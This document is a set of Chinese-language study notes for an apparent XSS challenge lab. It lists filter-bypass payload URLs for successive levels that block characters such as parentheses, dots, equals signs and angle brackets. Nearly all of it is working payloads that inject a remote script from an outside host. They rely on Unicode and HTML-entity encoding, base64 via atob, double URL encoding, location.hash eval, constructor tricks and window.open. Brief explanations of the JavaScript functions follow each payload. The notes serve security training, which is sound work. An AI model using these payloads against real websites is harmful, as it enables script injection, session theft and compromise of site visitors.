XSS修炼之独孤九剑——笔记
第一式
过滤了 =()
解法一
http://xcao.vip/test/xss1.php?data="><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`;</script>
Unicode解码
http://xcao.vip/test/xss1.php?data="><script>document.write`<script src=http://xcao.vip/xss/alert.js></script>`;</script>
解析:
document.write()
:向文档写入 HTML 表达式或 JavaScript 代码;``
在这里等同于()
;达到绕过()
的过滤。- 使用Unicode编码绕过
=
过滤限制。
解法二
http://xcao.vip/test/xss1.php?data=1%22%3E%3Csvg%3E%3Cscript%3E%26%23x64%3B%26%23x6f%3B%26%23x63%3B%26%23x75%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x2e%3B%26%23x62%3B%26%23x6f%3B%26%23x64%3B%26%23x79%3B%26%23x2e%3B%26%23x61%3B%26%23x70%3B%26%23x70%3B%26%23x65%3B%26%23x6e%3B%26%23x64%3B%26%23x43%3B%26%23x68%3B%26%23x69%3B%26%23x6c%3B%26%23x64%3B%26%23x28%3B%26%23x64%3B%26%23x6f%3B%26%23x63%3B%26%23x75%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x2e%3B%26%23x63%3B%26%23x72%3B%26%23x65%3B%26%23x61%3B%26%23x74%3B%26%23x65%3B%26%23x45%3B%26%23x6c%3B%26%23x65%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%26%23x27%3B%26%23x29%3B%26%23x29%3B%26%23x2e%3B%26%23x73%3B%26%23x72%3B%26%23x63%3B%26%23x3d%3B%26%23x27%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x3a%3B%26%23x2f%3B%26%23x2f%3B%26%23x78%3B%26%23x63%3B%26%23x61%3B%26%23x6f%3B%26%23x2e%3B%26%23x76%3B%26%23x69%3B%26%23x70%3B%26%23x2f%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x2f%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x2e%3B%26%23x6a%3B%26%23x73%3B%26%23x27%3B%26%23x3b%3B%3C%2Fscript%3E%3C%2Fsvg%3E
URL解码
http://xcao.vip/test/xss1.php?data=1"><svg><script>document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js';</script></svg>
ASCII解码
http://xcao.vip/test/xss1.php?data=1"><svg><script>document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js';</script></svg>
解析
<svg>
下面的script可以使用html编码。appendChild()
向节点的子节点列表的末尾添加新的子节点。createElement()
创建元素节点。
解法三
http://xcao.vip/test/xss1.php?data="><svg><script>%26%23101%3B%26%23118%3B%26%2397%3B%26%23108%3B%26%2340%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2346%3B%26%23104%3B%26%2397%3B%26%23115%3B%26%23104%3B%26%2346%3B%26%23115%3B%26%23108%3B%26%23105%3B%26%2399%3B%26%23101%3B%26%2340%3B%26%2349%3B%26%2341%3B%26%2341%3B</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
URL解码
http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
ASCII解码
http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
解析
<svg>
下面的script可以使用html编码。eval()
函数计算 JavaScript 字符串,并把它作为脚本代码来执行。如果参数是一个表达式,eval()函数将执行表达式。如果参数是Javascript语句,eval()将执行 Javascript 语句。window.location
对象用于获得当前页面的地址 (URL),并把浏览器重定向到新的页面。- hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)
slice(start, end)
方法可提取字符串的某个部分,并以新的字符串返回被提取的部分。使用 start(包含) 和 end(不包含) 参数来指定字符串提取的部分。start 参数字符串中第一个字符位置为 0, 第二个字符位置为 1,以此类推,如果是负数表示从尾部截取多少个字符串,slice(-2)表示提取原数组中的倒数第二个元素到最后一个元素(包含最后一个元素)。end 参数如果为负数,-1 指字符串的最后一个字符的位置,-2指倒数第二个字符,以此类推。appendChild()
向节点的子节点列表的末尾添加新的子节点。createElement()
创建元素节点。
第二式
过滤了 =().
解法一
http://xcao.vip/test/xss2.php?data="><script>document['write']`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`;</script>
Unicode解码
http://xcao.vip/test/xss2.php?data="><script>document['write']`<script src=http://xcao.vip/xss/alert.js></script>`;</script>
解析
由第一式的解法一演变将document.write()
变化为document['write']``
解法二
与第一式解法二相同
解法三
与第一式解法三相同
解法四
http://xcao.vip/test/xss2.php?data="><script>setTimeout`\u0065\u0076\u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029`;</script>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
Unicode解码
http://xcao.vip/test/xss2.php?data="><script>setTimeout`eval(location.hash.slice(1))`;</script>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
解析
setTimeout()
是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。
第三式
过滤了().&#\
解法一
http://xcao.vip/test/xss3.php?data="><object data=data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4K></object>
Base64解码
http://xcao.vip/test/xss3.php?data="><object data=data:text/html;base64, <script src=http://xcao.vip/xss/alert.js></script>></object>
解析
<object>
定义一个嵌入的对象。
解法二
http://xcao.vip/test/xss3.php?data="><iframe></iframe><script>frames[0]["location"]["replace"]`data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4K`</script>
Base64解码
http://xcao.vip/test/xss3.php?data="><iframe></iframe><script>frames[0]["location"]["replace"]`data:text/html;base64,<script src=http://xcao.vip/xss/alert.js></script>`</script>
解析
<iframe>
标签规定一个内联框架。一个内联框架被用来在当前 HTML 文档中嵌入另一个文档。replace()
方法可用一个新文档取代当前文档。
解法三
http://xcao.vip/test/xss3.php?data="><script src=http://xcao%252evip/xss/alert%252ejs></script>
URL解码
http://xcao.vip/test/xss3.php?data="><script src=http://xcao%2evip/xss/alert%2ejs></script>
URL再次解码
http://xcao.vip/test/xss3.php?data="><script src=http://xcao.vip/xss/alert.js></script>
解析
- 利用了二次编码绕过
.
,%252e
第一次解码%25
得到%
,%
与2e
构成第二次编码%2e
,解码后得到.
。
第四式
过滤了=().&#\
解法一
http://xcao.vip/test/xss4.php?data="><script>location['replace']`javascript:eval%2528eval%2528location%252ehash%252eslice%25281%2529%2529%2529`</script>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
URL解码
http://xcao.vip/test/xss4.php?data="><script>location['replace']`javascript:eval%28eval%28location%2ehash%2eslice%281%29%29%29`</script>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
URL再次解码
http://xcao.vip/test/xss4.php?data="><script>location['replace']`javascript:eval(eval(location.hash.slice(1)))`</script>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
解析
javascript:
JS伪协议- 利用二次编码特殊符号过滤
解法二
与第三式解法二相同
第五式
过滤了().&#\%
解法一
与第三式解法一相同
解法二
与第三式解法二相同
解法三
http://xcao.vip/test/xss5.php?data="><script src=http://3232265602/test></script>
解析
3232265602
IP十进制,转化地址https://tool.520101.com/wangluo/jinzhizhuanhuan/test
为自己搭建服务器下的alert.js
,这里删除.
第六式
过滤了=().&#\%
解法一
http://xcao.vip/test/xss6.php/?data="><script>document['write']`<img ${location['hash']['slice']`1`}`</script>#/src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'//
解析
- 使用了模板字符串
``
和占位符${expression}
,占位符中的表达式被计算和周围的文本一起传递给了给一个默认的函数,
该函数负责将所有的部分连接起来,返回最终组合的新字符串的值。于是,就得到了<img src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'//
,再通过document.write()写入到页面中。
解法二
与第三式解法二相同
第七式
过滤了=().&#%<>
解法一
http://xcao.vip/test/xss7.php/?data=1;[]['filter']['constructor']`a${location['hash']['slice']`1`}```#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
解析
- 使用了JSFuck,用
[]['filter']['constructor'](code)()
代替了eval(code)
,以下JSFuck的常见取值
false => ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function => []["filter"]
eval => []["filter"]["constructor"]( CODE )()
window => []["filter"]["constructor"]("return this")()
第八式
过滤了=().&#\%<>’"[]
解法一
<iframe width="100%" height="100%" src="http://xcao.vip/test/xss8.php/?data=Function`a${name}```" name="with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'"></iframe>
- 构造网页,利用iframe的name属性向src中传入参数,由此绕过过滤。
解法二
http://xcao.vip/test/xss8.php/?data=Function`a${atob`ZG9jdW1lbnQud3JpdGVgPHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD5g`}```
Base64解码
http://xcao.vip/test/xss8.php/?data=Function`a${atob`document.write`<script src=http://xcao.vip/xss/alert.js></script>``}```
解析
atob()
方法用于解码使用 base-64 编码的字符串。base-64 编码使用方法是btoa()
。- 通过
${}
占位符执行解码后得到的document.write`<script src=http://xcao.vip/xss/alert.js></script>`
第八-1式
过滤了 =().&#\%<>’"{}
解法一
http://xcao.vip/test/xss8-1.php/?data=atob`PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4K`;location[`replace`]`javascript:a`
Base64解码
http://xcao.vip/test/xss8-1.php/?data=atob`<script src=http://xcao.vip/xss/alert.js></script>`;location[`replace`]`javascript:a`
解析
- 通过测试可以知道data可以向页面脚本的a变量传递值,由此,可以通过
atob()
向a传递解码后的xss脚本,再利用location.replace()
以js伪协议执行脚本。
第八-2式
过滤了=().&#\%<>’"[]Function
解法一
http://xcao.vip/test/xss8-2.php?data=open`javascript:name//${atob`PGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc%2b`}`
Base64解码
http://xcao.vip/test/xss8-2.php?data=open`javascript:name//${atob`<img src=x οnerrοr=with(opener.document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'>`}`
解析
window.open(URL,name,specs,replace)
用于打开一个新的浏览器窗口或查找一个已命名的窗口。- ES6模板字符串语法,
open()
函数接收到参数,等价于open('javascript:name//,',"<img src=x onerror=with(opener.document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'>")
- 执行
open()
,JS参数传递顺序为从后往前,于是先执行name参数,设置window.name=<img src=x onerror=with(opener.document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'>
;再执行URL参数,URL=‘javascript:name’
,触发XSS。